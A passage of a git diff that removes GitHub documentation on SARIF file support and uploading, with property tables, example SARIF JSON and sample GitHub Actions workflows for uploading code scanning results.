or more of the absolute URIs, the upload is rejected. - -For example, a SARIF file is uploaded using a source root of `file:///github/workspace`. - -```shell -# Conversion of absolute URIs to relative URIs for location artifacts - -file:///github/workspace/src/main.go -> src/main.go -file:///tmp/go-build/tmp.go -> file:///tmp/go-build/tmp.go -``` - -The file is successfully uploaded as both absolute URIs use the same URI scheme as the source root. - -### Resolving symlinks before generating SARIF results - -If the relative URI for a result is matched against a file defined using a symlink, code scanning is unable to display the result. So you need to resolve any symlinked files, and report any results in those files using the resolved URI. - -## Validating your SARIF file - -<!--UI-LINK: When code scanning fails, the error banner shown in the Security > Code scanning alerts view links to this anchor.--> - -You can check a SARIF file is compatible with {% data variables.product.prodname_code_scanning %} by testing it against the {% data variables.product.prodname_dotcom %} ingestion rules. For more information, visit the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/). - -For each gzip-compressed SARIF file, SARIF upload supports a maximum size of 10 MB. Any uploads over this limit will be rejected. If your SARIF file is too large because it contains too many results, you should update the configuration to focus on results for the most important rules or queries. For more information, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-sarif-uploads/file-too-large). - -{% data variables.product.prodname_code_scanning_caps %} supports uploading a maximum number of entries for the data objects in the following table. If any of these objects exceeds its maximum value the SARIF file is rejected. For some objects, there is also an additional limit on the number of values that will be displayed. Whenever possible the most important values are shown. To get the most out of your analysis when it includes data above the supported limits, try to optimize the analysis configuration (for example, for the {% data variables.product.prodname_codeql %} tool, identify and disable the most noisy queries). For more information, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-sarif-uploads/results-exceed-limit). - -{% data reusables.code-scanning.sarif-limits %} - -For information about other errors, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-sarif-uploads) - -## Uploading more than one SARIF file for a commit - -You can upload multiple SARIF files for the same commit, and display the data from each file as {% data variables.product.prodname_code_scanning %} results. When you upload multiple SARIF files for a commit, you must indicate a "category" for each analysis. The way to specify a category varies according to the analysis method: -* Using the {% data variables.product.prodname_codeql_cli %} directly, pass the `--sarif-category` argument to the `codeql database analyze` command when you generate SARIF files. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/about-the-codeql-cli#about-generating-code-scanning-results-with-the-codeql-cli). -* Using {% data variables.product.prodname_actions %} with `codeql-action/analyze`, the category is set automatically from the workflow name and any matrix variables (typically, `language`). You can override this by specifying a `category` input for the action, which is useful when you analyze different sections of a monorepo in a single workflow. -* Using {% data variables.product.prodname_actions %} to upload results from other static analysis tools, then you must specify a `category` input if you upload more than one file of results for the same tool in one workflow. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions). -* If you are not using either of these approaches, you must specify a unique `runAutomationDetails.id` in each SARIF file to upload. For more information about this property, see [`runAutomationDetails` object](#runautomationdetails-object). - -If you upload a second SARIF file for a commit with the same category and from the same tool, the earlier results are overwritten. However, if you try to upload multiple SARIF files for the same tool and category in a single {% data variables.product.prodname_actions %} workflow run, the misconfiguration is detected and the run will fail. - -## Supported SARIF output file properties - -If you use a code analysis engine other than {% data variables.product.prodname_codeql %}, you can review the supported SARIF properties to optimize how your analysis results will appear on {% data variables.product.prodname_dotcom %}. - -> [!NOTE] -> You must supply an explicit value for any property marked as "required". The empty string is not supported for required properties. - -Any valid SARIF 2.1.0 output file can be uploaded, however, {% data variables.product.prodname_code_scanning %} will only use the following supported properties. - -### `sarifLog` object - -| Name | Required | Description | -|----|----|----| -| `$schema` | {% octicon "check" aria-label="Required" %} | The URI of the SARIF JSON schema for version 2.1.0. For example, `https://json.schemastore.org/sarif-2.1.0.json`. | -| `version` | {% octicon "check" aria-label="Required" %} | {% data variables.product.prodname_code_scanning_caps %} only supports SARIF version `2.1.0`. -| `runs[]` | {% octicon "check" aria-label="Required" %} | A SARIF file contains an array of one or more runs. Each run represents a single run of an analysis tool. For more information about a `run`, see the [`run` object](#run-object). - -### `run` object - -{% data variables.product.prodname_code_scanning_caps %} uses the `run` object to filter results by tool and provide information about the source of a result. The `run` object contains the `tool.driver` tool component object, which contains information about the tool that generated the results. Each `run` can only have results for one analysis tool. - -| Name | Required | Description | -|----|----|----| -| `tool.driver` | {% octicon "check" aria-label="Required" %} | A `toolComponent` object that describes the analysis tool. For more information, see the [`toolComponent` object](#toolcomponent-object). | -| `tool.extensions[]` | {% octicon "x" aria-label="Optional" %} | An array of `toolComponent` objects that represent any plugins or extensions used by the tool during analysis. For more information, see the [`toolComponent` object](#toolcomponent-object). | -| `invocation.workingDirectory.uri` | {% octicon "x" aria-label="Optional" %} | This field is used only when `checkout_uri` (SARIF upload API only) or `checkout_path` ({% data variables.product.prodname_actions %} only) are not provided. The value is used to convert absolute URIs used in [`physicalLocation` objects](#physicallocation-object) to relative URIs. For more information, see [Specifying the root for source files](#specifying-the-root-for-source-files).| -| `results[]` | {% octicon "check" aria-label="Required" %} | The results of the analysis tool. {% data variables.product.prodname_code_scanning_caps %} displays the results on {% data variables.product.prodname_dotcom %}. For more information, see the [`result` object](#result-object). - -### `toolComponent` object - -| Name | Required | Description | -|----|----|----| -| `name` | {% octicon "check" aria-label="Required" %} | The name of the analysis tool. {% data variables.product.prodname_code_scanning_caps %} displays the name on {% data variables.product.prodname_dotcom %} to allow you to filter results by tool. | -| `version` | {% octicon "x" aria-label="Optional" %} | The version of the analysis tool. {% data variables.product.prodname_code_scanning_caps %} uses the version number to track when results may have changed due to a tool version change rather than a change in the code being analyzed. If the SARIF file includes the `semanticVersion` field, `version` is not used by {% data variables.product.prodname_code_scanning %}. | -| `semanticVersion` | {% octicon "x" aria-label="Optional" %} | The version of the analysis tool, specified by the Semantic Versioning 2.0 format. {% data variables.product.prodname_code_scanning_caps %} uses the version number to track when results may have changed due to a tool version change rather than a change in the code being analyzed. If the SARIF file includes the `semanticVersion` field, `version` is not used by {% data variables.product.prodname_code_scanning %}. For more information, see [Semantic Versioning 2.0.0](https://semver.org/) in the Semantic Versioning documentation. | -| `rules[]` | {% octicon "check" aria-label="Required" %} | An array of `reportingDescriptor` objects that represent rules. The analysis tool uses rules to find problems in the code being analyzed. For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). | - -### `reportingDescriptor` object - -This is where you store details of the rules that are run during analysis. Information in these objects should change infrequently, typically when you update the tool. For more information, see [Understanding rules and results](#understanding-rules-and-results) above. - -| Name | Required | Description | -|----|----|----| -| `id` | {% octicon "check" aria-label="Required" %} | A unique identifier for the rule. The `id` is referenced from other parts of the SARIF file and may be used by {% data variables.product.prodname_code_scanning %} to display URLs on {% data variables.product.prodname_dotcom %}. | -| `name` | {% octicon "x" aria-label="Optional" %} | The name of the rule. {% data variables.product.prodname_code_scanning_caps %} displays the name to allow results to be filtered by rule on {% data variables.product.prodname_dotcom %}. Limited to 255 characters. | -| `shortDescription.text` | {% octicon "check" aria-label="Required" %} | A concise description of the rule. {% data variables.product.prodname_code_scanning_caps %} displays the short description on {% data variables.product.prodname_dotcom %} next to the associated results. Limited to 1024 characters. -| `fullDescription.text` | {% octicon "check" aria-label="Required" %} | A description of the rule. {% data variables.product.prodname_code_scanning_caps %} displays the full description on {% data variables.product.prodname_dotcom %} next to the associated results. Limited to 1024 characters. -| `defaultConfiguration.level` | {% octicon "x" aria-label="Optional" %} | Default severity level of the rule. {% data variables.product.prodname_code_scanning_caps %} uses severity levels to help you understand how critical the result is for a given rule. By default, the `defaultConfiguration.level` is set to `warning`. However, you can override the default level for a rule by setting the `level` attribute in the `result` object associated with the result. For more information, please refer to the documentation on the [`result` object](#result-object). The valid values for `defaultConfiguration.level` are: `note`, `warning` and `error`. -| `help.text` | {% octicon "check" aria-label="Required" %} | Documentation for the rule using text format. {% data variables.product.prodname_code_scanning_caps %} displays this help documentation next to the associated results. -| `help.markdown` |{% octicon "x" aria-label="Optional" %} | (Recommended) Documentation for the rule using Markdown format. {% data variables.product.prodname_code_scanning_caps %} displays this help documentation next to the associated results. When `help.markdown` is available, it is displayed instead of `help.text`. -| `properties.tags[]` | {% octicon "x" aria-label="Optional" %} | An array of strings. {% data variables.product.prodname_code_scanning_caps %} uses `tags` to allow you to filter results on {% data variables.product.prodname_dotcom %}. For example, it is possible to filter to all results that have the tag `security`. -| `properties.precision` | {% octicon "x" aria-label="Optional" %} | (Recommended) A string that indicates how often the results indicated by this rule are true. For example, if a rule has a known high false-positive rate, the precision should be `low`. {% data variables.product.prodname_code_scanning_caps %} orders results by precision on {% data variables.product.prodname_dotcom %} so that the results with the highest `level`, and highest `precision` are shown first. Can be one of: `very-high`, `high`, `medium`, or `low`. -| `properties.problem.severity` | {% octicon "x" aria-label="Optional" %} | (Recommended) A string that indicates the level of severity of any alerts generated by a non-security query. This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `problem.severity`, and highest `precision` are shown first. Can be one of: `error`, `warning`, or `recommendation`. -| `properties.security-severity` | {% octicon "x" aria-label="Optional" %} | (Recommended only for security rules) If you include a value for this field, results for the rule are treated as security results. A string representing a score that indicates the level of severity, a value that is greater than 0.0 up to 10.0, for security queries (`@tags` includes `security`). This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `security-severity`, and highest `precision` are shown first. {% data variables.product.prodname_code_scanning_caps %} translates numerical scores as follows: over 9.0 is `critical`, from 7.0 to 8.9 is `high`, from 4.0 to 6.9 is `medium` and from 0.1 to 3.9 is `low`. A value of 0.0 or any other value outside the given range is regarded as having no security severity. - -### `result` object - -Each `result` object contains details for one alert in the codebase. Within the `results` object, you can reference the rule that detected the alert. For more information, see [Understanding rules and results](#understanding-rules-and-results) above. - -{% data reusables.code-scanning.upload-sarif-alert-limit %} - -| Name | Required | Description | -|----|----|----| -| `ruleId`| {% octicon "x" aria-label="Optional" %} | The unique identifier of the rule (`reportingDescriptor.id`). For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). {% data variables.product.prodname_code_scanning_caps %} uses the rule identifier to filter results by rule on {% data variables.product.prodname_dotcom %}. -| `ruleIndex`| {% octicon "x" aria-label="Optional" %} | The index of the associated rule (`reportingDescriptor` object) in the tool component `rules` array. For more information, see the [`run` object](#run-object). The allowed range for this property 0 to 2^63 - 1. -| `rule`| {% octicon "x" aria-label="Optional" %} | A reference used to locate the rule (reporting descriptor) for this result. For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). -| `level`| {% octicon "x" aria-label="Optional" %} | The severity of the result. This level overrides the default severity defined by the rule. {% data variables.product.prodname_code_scanning_caps %} uses the level to filter results by severity on {% data variables.product.prodname_dotcom %}. -| `message.text`| {% octicon "check" aria-label="Required" %} | A message that describes the result. {% data variables.product.prodname_code_scanning_caps %} displays the message text as the title of the result. Only the first sentence of the message will be displayed when visible space is limited. -| `locations[]`| {% octicon "check" aria-label="Required" %} | The set of locations where the result was detected up to a maximum of 10. Only one location should be included unless the problem can only be corrected by making a change at every specified location. **Note:** At least one location is required for {% data variables.product.prodname_code_scanning %} to display a result. {% data variables.product.prodname_code_scanning_caps %} will use this property to decide which file to annotate with the result. Only the first value of this array is used. All other values are ignored. -| `partialFingerprints`| {% octicon "check" aria-label="Required" %} | A set of strings used to track the unique identity of the result. {% data variables.product.prodname_code_scanning_caps %} uses `partialFingerprints` to accurately identify which results are the same across commits and branches. {% data variables.product.prodname_code_scanning_caps %} will attempt to use `partialFingerprints` if they exist. If you are uploading third-party SARIF files with the `upload-action`, the action will create `partialFingerprints` for you when they are not included in the SARIF file. For more information, see [Providing data to track code scanning alerts across runs](#providing-data-to-track-code-scanning-alerts-across-runs). **Note:** {% data variables.product.prodname_code_scanning_caps %} only uses the `primaryLocationLineHash`. -| `codeFlows[].threadFlows[].locations[]`| {% octicon "x" aria-label="Optional" %} | An array of `location` objects for a `threadFlow` object, which describes the progress of a program through a thread of execution. A `codeFlow` object describes a pattern of code execution used to detect a result. If code flows are provided, {% data variables.product.prodname_code_scanning %} will expand code flows on {% data variables.product.prodname_dotcom %} for the relevant result. For more information, see the [`location` object](#location-object). -| `relatedLocations[]`| {% octicon "x" aria-label="Optional" %} | A set of locations relevant to this result. {% data variables.product.prodname_code_scanning_caps %} will link to related locations when they are embedded in the result message. For more information, see the [`location` object](#location-object). - -### `location` object - -A location within a programming artifact, such as a file in the repository or a file that was generated during a build. - -| Name | Required | Description | -|----|----|----| -| `location.id` | {% octicon "x" aria-label="Optional" %} | A unique identifier that distinguishes this location from all other locations within a single result object. The allowed range for this property 0 to 2^63 - 1. -| `location.physicalLocation` | {% octicon "check" aria-label="Required" %} | Identifies the artifact and region. For more information, see the [`physicalLocation`](#physicallocation-object). -| `location.message.text` | {% octicon "x" aria-label="Optional" %} | A message relevant to the location. - -### `physicalLocation` object - -| Name | Required | Description | -|----|----|----| -| `artifactLocation.uri`| {% octicon "check" aria-label="Required" %} | A URI indicating the location of an artifact, usually a file either in the repository or generated during a build. For the best results we recommend that this is a relative path from the root of the GitHub repository being analyzed. For example, `src/main.js`. For more information about artifact URIs, see [Specifying the root for source files](#specifying-the-root-for-source-files).| -| `region.startLine` | {% octicon "check" aria-label="Required" %} | The line number of the first character in the region. -| `region.startColumn` | {% octicon "check" aria-label="Required" %} | The column number of the first character in the region. -| `region.endLine` | {% octicon "check" aria-label="Required" %} | The line number of the last character in the region. -| `region.endColumn` | {% octicon "check" aria-label="Required" %} | The column number of the character following the end of the region. - -### `runAutomationDetails` object - -The `runAutomationDetails` object contains information that specifies the identity of a run. - -| Name | Required | Description | -|----|----|----| -| `id`| {% octicon "x" aria-label="Optional" %} | A string that identifies the category of the analysis and the run ID. Use if you want to upload multiple SARIF files for the same tool and commit, but performed on different languages or different parts of the code. | - -The use of the `runAutomationDetails` object is optional. - -The `id` field can include an analysis category and a run ID. We don't use the run ID part of the `id` field, but we store it. - -Use the category to distinguish between multiple analyses for the same tool or commit, but performed on different languages or different parts of the code. Use the run ID to identify the specific run of the analysis, such as the date the analysis was run. - -`id` is interpreted as `category/run-id`. If the `id` contains no forward slash (`/`), then the entire string is the `run_id` and the `category` is empty. Otherwise, `category` is everything in the string until the last forward slash, and `run_id` is everything after. - -| `id` | category | `run_id` | -|----|----|----| -| my-analysis/tool1/2022-01-02 | my-analysis/tool1 | 2022-01-02 -| my-analysis/tool1/ | my-analysis/tool1 | None -| my-analysis for tool1 | None | my-analysis for tool1 - -* The run with an `id` of "my-analysis/tool1/2021-02-01" belongs to the category "my-analysis/tool1". -* The run with an `id` of "my-analysis/tool1/" belongs to the category "my-analysis/tool1" but is not distinguished from other runs in that category. -* The run whose `id` is "my-analysis for tool1 " has a unique identifier but cannot be inferred to belong to any category. - -For more information about the `runAutomationDetails` object and the `id` field, see [runAutomationDetails object](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012479) in the OASIS documentation. - -Note that the rest of the supported fields are ignored. - -## SARIF output file examples - -These example SARIF output files show supported properties and example values. - -### Example with minimum required properties - -This SARIF output file has example values to show the minimum required properties for {% data variables.product.prodname_code_scanning %} results to work as expected. If you remove any properties, omit values, or use an empty string, this data will not be displayed correctly or sync on {% data variables.product.prodname_dotcom %}. - -```json -{ - "$schema": "https://json.schemastore.org/sarif-2.1.0.json", - "version": "2.1.0", - "runs": [ - { - "tool": { - "driver": { - "name": "Tool Name", - "rules": [ - { - "id": "R01" - ... - "properties" : { - "id" : "java/unsafe-deserialization", - "kind" : "path-problem", - "name" : "...", - "problem.severity" : "error", - "security-severity" : "9.8", - } - } - ] - } - }, - "results": [ - { - "ruleId": "R01", - "message": { - "text": "Result text. This result does not have a rule associated." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "fileURI" - }, - "region": { - "startLine": 2, - "startColumn": 7, - "endColumn": 10 - } - } - } - ], - "partialFingerprints": { - "primaryLocationLineHash": "39fa2ee980eb94b0:1" - } - } - ] - } - ] -} -``` - -### Relative URI Guidance for SARIF Producers - -This SARIF output file has example of values for the field `originalUriBaseIds`, showing the minimum required properties a SARIF producer should include when using relative URI references. - -> [!NOTE] -> While this property is not required by {% data variables.product.prodname_dotcom %} for the {% data variables.product.prodname_code_scanning %} results to be displayed correctly, it is required to produce a valid SARIF output when using relative URI references. - -```json -{ - "$schema": "https://json.schemastore.org/sarif-2.1.0.json", - "version": "2.1.0", - "runs": [ - { - "tool": { - "driver": { - "name": "Tool Name", - "rules": [ - { - "id": "R01" - ... - "properties" : { - "id" : "java/unsafe-deserialization", - "kind" : "path-problem", - "name" : "...", - "problem.severity" : "error", - "security-severity" : "9.8", - } - } - ] - } - }, - "originalUriBaseIds": { - "PROJECTROOT": { - "uri": "file:///C:/Users/Mary/code/TheProject/", - "description": { - "text": "The root directory for all project files." - } - }, - "%SRCROOT%": { - "uri": "src/", - "uriBaseId": "PROJECTROOT", - "description": { - "text": "The root of the source tree." - } - } - }, - "results": [ - { - "ruleId": "R01", - "message": { - "text": "Result text. This result does not have a rule associated." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "fileURI", - "uriBaseId": "%SRCROOT%" - }, - "region": { - "startLine": 2, - "startColumn": 7, - "endColumn": 10 - } - } - } - ], - "partialFingerprints": { - "primaryLocationLineHash": "39fa2ee980eb94b0:1" - } - } - ] - } - ] -} -``` - -### Example showing all supported SARIF properties - -This SARIF output file has example values to show all supported SARIF properties for {% data variables.product.prodname_code_scanning %}. - -```json -{ - "$schema": "https://json.schemastore.org/sarif-2.1.0.json", - "version": "2.1.0", - "runs": [ - { - "tool": { - "driver": { - "name": "Tool Name", - "semanticVersion": "2.0.0", - "rules": [ - { - "id": "3f292041e51d22005ce48f39df3585d44ce1b0ad", - "name": "js/unused-local-variable", - "shortDescription": { - "text": "Unused variable, import, function or class" - }, - "fullDescription": { - "text": "Unused variables, imports, functions or classes may be a symptom of a bug and should be examined carefully." - }, - "defaultConfiguration": { - "level": "note" - }, - "properties": { - "tags": [ - "maintainability" - ], - "precision": "very-high" - } - }, - { - "id": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0", - "name": "js/inconsistent-use-of-new", - "shortDescription": { - "text": "Inconsistent use of 'new'" - }, - "fullDescription": { - "text": "If a function is intended to be a constructor, it should always be invoked with 'new'. Otherwise, it should always be invoked as a normal function, that is, without 'new'." - }, - "properties": { - "tags": [ - "reliability", - "correctness", - "language-features" - ], - "precision": "very-high" - } - }, - { - "id": "R01" - } - ] - } - }, - "automationDetails": { - "id": "my-category/" - }, - "results": [ - { - "ruleId": "3f292041e51d22005ce48f39df3585d44ce1b0ad", - "ruleIndex": 0, - "message": { - "text": "Unused variable foo." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "main.js", - "uriBaseId": "%SRCROOT%" - }, - "region": { - "startLine": 2, - "startColumn": 7, - "endColumn": 10 - } - } - } - ], - "partialFingerprints": { - "primaryLocationLineHash": "39fa2ee980eb94b0:1", - "primaryLocationStartColumnFingerprint": "4" - } - }, - { - "ruleId": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0", - "ruleIndex": 1, - "message": { - "text": "Function resolvingPromise is sometimes invoked as a constructor (for example [here](1)), and sometimes as a normal function (for example [here](2))." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "src/promises.js", - "uriBaseId": "%SRCROOT%" - }, - "region": { - "startLine": 2 - } - } - } - ], - "partialFingerprints": { - "primaryLocationLineHash": "5061c3315a741b7d:1", - "primaryLocationStartColumnFingerprint": "7" - }, - "relatedLocations": [ - { - "id": 1, - "physicalLocation": { - "artifactLocation": { - "uri": "src/ParseObject.js", - "uriBaseId": "%SRCROOT%" - }, - "region": { - "startLine": 2281, - "startColumn": 33, - "endColumn": 55 - } - }, - "message": { - "text": "here" - } - }, - { - "id": 2, - "physicalLocation": { - "artifactLocation": { - "uri": "src/LiveQueryClient.js", - "uriBaseId": "%SRCROOT%" - }, - "region": { - "startLine": 166 - } - }, - "message": { - "text": "here" - } - } - ] - }, - { - "ruleId": "R01", - "message": { - "text": "Specifying both [ruleIndex](1) and [ruleId](2) might lead to inconsistencies." - }, - "level": "error", - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "full.sarif", - "uriBaseId": "%SRCROOT%" - }, - "region": { - "startLine": 54, - "startColumn": 10, - "endLine": 55, - "endColumn": 25 - } - } - } - ], - "relatedLocations": [ - { - "id": 1, - "physicalLocation": { - "artifactLocation": { - "uri": "full.sarif" - }, - "region": { - "startLine": 81, - "startColumn": 10, - "endColumn": 18 - } - }, - "message": { - "text": "here" - } - }, - { - "id": 2, - "physicalLocation": { - "artifactLocation": { - "uri": "full.sarif" - }, - "region": { - "startLine": 82, - "startColumn": 10, - "endColumn": 21 - } - }, - "message": { - "text": "here" - } - } - ], - "codeFlows": [ - { - "threadFlows": [ - { - "locations": [ - { - "location": { - "physicalLocation": { - "region": { - "startLine": 11, - "endLine": 29, - "startColumn": 10, - "endColumn": 18 - }, - "artifactLocation": { - "uriBaseId": "%SRCROOT%", - "uri": "full.sarif" - } - }, - "message": { - "text": "Rule has index 0" - } - } - }, - { - "location": { - "physicalLocation": { - "region": { - "endColumn": 47, - "startColumn": 12, - "startLine": 12 - }, - "artifactLocation": { - "uriBaseId": "%SRCROOT%", - "uri": "full.sarif" - } - } - } - } - ] - } - ] - } - ], - "partialFingerprints": { - "primaryLocationLineHash": "ABC:2" - } - } - ], - "columnKind": "utf16CodeUnits" - } - ] -} -``` diff --git a/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md b/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md deleted file mode 100644 index 711da1c5cb06..000000000000 --- a/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: Uploading a SARIF file to GitHub -shortTitle: Upload a SARIF file -intro: '{% data reusables.code-scanning.you-can-upload-third-party-analysis %}' -permissions: '{% data reusables.permissions.code-scanning-all-alerts %}' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /github/managing-security-vulnerabilities/uploading-a-code-scanning-analysis-to-github - - /github/finding-security-vulnerabilities-and-errors-in-your-code/uploading-a-sarif-file-to-github - - /code-security/secure-coding/uploading-a-sarif-file-to-github - - /code-security/secure-coding/integrating-with-code-scanning/uploading-a-sarif-file-to-github - - /github/finding-security-vulnerabilities-and-errors-in-your-code/integrating-with-code-scanning/uploading-a-sarif-file-to-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Code Security - - Code scanning - - Integration - - Actions - - Repositories - - CI - - SARIF ---- - -{% data reusables.code-scanning.enterprise-enable-code-scanning %} - -## About SARIF file uploads for {% data variables.product.prodname_code_scanning %} - -{% data variables.product.prodname_dotcom %} creates {% data variables.product.prodname_code_scanning %} alerts in a repository using information from Static Analysis Results Interchange Format (SARIF) files. SARIF files can be uploaded to a repository using the API or {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system). - -You can generate SARIF files using many static analysis security testing tools, including {% data variables.product.prodname_codeql %}. The results must use SARIF version 2.1.0. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning). - -You can upload the results using {% data variables.product.prodname_actions %}, the {% data variables.product.prodname_code_scanning %} API, or the {% data variables.product.prodname_codeql_cli %}. The best upload method will depend on how you generate the SARIF file, for example, if you use: - -* {% data variables.product.prodname_actions %} to run the {% data variables.product.prodname_codeql %} action, there is no further action required. The {% data variables.product.prodname_codeql %} action uploads the SARIF file automatically when it completes analysis. -* {% data variables.product.prodname_actions %} to run a SARIF-compatible analysis tool, you could update the workflow to include a final step that uploads the results (see below). -* The {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} in your CI system, you can use the CLI to upload results to {% data variables.product.prodname_dotcom %} (for more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system)). -* A tool that generates results as an artifact outside of your repository, you can use the {% data variables.product.prodname_code_scanning %} API to upload the file (for more information, see [AUTOTITLE](/rest/code-scanning/code-scanning#upload-an-analysis-as-sarif-data)). - -{% ifversion fpt or ghec %} - -> [!NOTE] -> For private and internal repositories, {% data variables.product.prodname_code_scanning %} is available when {% data variables.product.prodname_GH_code_security %} features are enabled for the repository. If you see the error `{% data variables.product.prodname_advanced_security %} must be enabled for this repository to use code scanning`, check that {% data variables.product.prodname_GH_code_security %} is enabled. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository). - -{% endif %} - -## Uploading a {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_actions %} - -To use {% data variables.product.prodname_actions %} to upload a third-party SARIF file to a repository, you'll need a workflow. For more information, see [AUTOTITLE](/actions/learn-github-actions). - -Your workflow will need to use the `upload-sarif` action, which is part of the `github/codeql-action` repository. It has input parameters that you can use to configure the upload. The main input parameters you'll use are: - -* `sarif-file`, which configures the file or directory of SARIF files to be uploaded. The directory or file path is relative to the root of the repository. -* `category` (optional), which assigns a category for results in the SARIF file. This enables you to analyze the same commit in multiple ways and review the results using the {% data variables.product.prodname_code_scanning %} views in {% data variables.product.prodname_dotcom %}. For example, you can analyze using multiple tools, and in mono-repos, you can analyze different slices of the repository based on the subset of changed files. - -For more information, see the [`upload-sarif` action](https://github.com/github/codeql-action/tree/v3/upload-sarif). - -The `upload-sarif` action can be configured to run when the `push` and `scheduled` event occur. For more information about {% data variables.product.prodname_actions %} events, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows). - -If your SARIF file doesn't include `partialFingerprints`, the `upload-sarif` action will calculate the `partialFingerprints` field for you and attempt to prevent duplicate alerts. {% data variables.product.prodname_dotcom %} can only create `partialFingerprints` when the repository contains both the SARIF file and the source code used in the static analysis. For more information about preventing duplicate alerts, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#providing-data-to-track-code-scanning-alerts-across-runs). - -{% data reusables.code-scanning.upload-sarif-alert-limit %} - -### Example workflow for SARIF files generated outside of a repository - -You can create a new workflow that uploads SARIF files after you commit them to your repository. This is useful when the SARIF file is generated as an artifact outside of your repository. - -This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows). - -This workflow uploads the `results.sarif` file located in the root of the repository. For more information about creating a workflow file, see [AUTOTITLE](/actions/learn-github-actions). - -Alternatively, you could modify this workflow to upload a directory of SARIF files. For example, you could place all SARIF files in a directory in the root of your repository called `sarif-output` and set the action's input parameter `sarif_file` to `sarif-output`. Note that if you upload a directory, each SARIF file must include a unique `runAutomationDetails.id` to define the category for the results. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#runautomationdetails-object). - -```yaml -name: "Upload SARIF" - -# Run workflow each time code is pushed to your repository and on a schedule. -# The scheduled workflow runs every Thursday at 15:45 UTC. -on: - push: - schedule: - - cron: '45 15 * * 4' - -jobs: - build: - runs-on: ubuntu-latest - permissions: - # required for all workflows - security-events: write - # only required for workflows in private repositories - actions: read - contents: read - steps: - # This step checks out a copy of your repository. - - name: Checkout repository - uses: {% data reusables.actions.action-checkout %} - - name: Upload SARIF file - uses: {% data reusables.actions.action-codeql-action-upload-sarif %} - with: - # Path to SARIF file relative to the root of the repository - sarif_file: results.sarif - # Optional category for the results - # Used to differentiate multiple results for one commit - category: my-analysis-tool -``` - -### Example workflow that runs the ESLint analysis tool - -If you generate your third-party SARIF file as part of a continuous integration (CI) workflow, you can add the `upload-sarif` action as a step after running your CI tests. If you don't already have a CI workflow, you can create one using a {% data variables.product.prodname_actions %} template. For more information, see the [AUTOTITLE](/actions/quickstart). - -This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows). - -The workflow shows an example of running the ESLint static analysis tool as a step in a workflow. The `Run ESLint` step runs the ESLint tool and outputs the `results.sarif` file. The workflow then uploads the `results.sarif` file to {% data variables.product.prodname_dotcom %} using the `upload-sarif` action. For more information about creating a workflow file, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). - -```yaml -name: "ESLint analysis" - -# Run workflow each time code is pushed to your repository and on a schedule. -# The scheduled workflow runs every Wednesday at 15:45 UTC. -on: - push: - schedule: - - cron: '45 15 * * 3' - -jobs: - build: - runs-on: ubuntu-latest - permissions: - # required for all workflows - security-events: write - # only required for workflows in private repositories - actions: read - contents: read - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Run npm install - run: npm install - # Runs the ESlint code analysis - - name: Run ESLint - # eslint exits 1 if it finds anything to report - run: node_modules/.bin/eslint build docs lib script spec-main -f node_modules/@microsoft/eslint-formatter-sarif/sarif.js -o results.sarif || true - # Uploads results.sarif to GitHub repository using the upload-sarif action - - uses: {% data reusables.actions.action-codeql-action-upload-sarif %} - with: - # Path to SARIF file relative to the root of the repository - sarif_file: results.sarif -``` - -## Further reading - -* [AUTOTITLE](/code-security/code-scanning/troubleshooting-sarif-uploads) -* [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions) -* [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history) -* 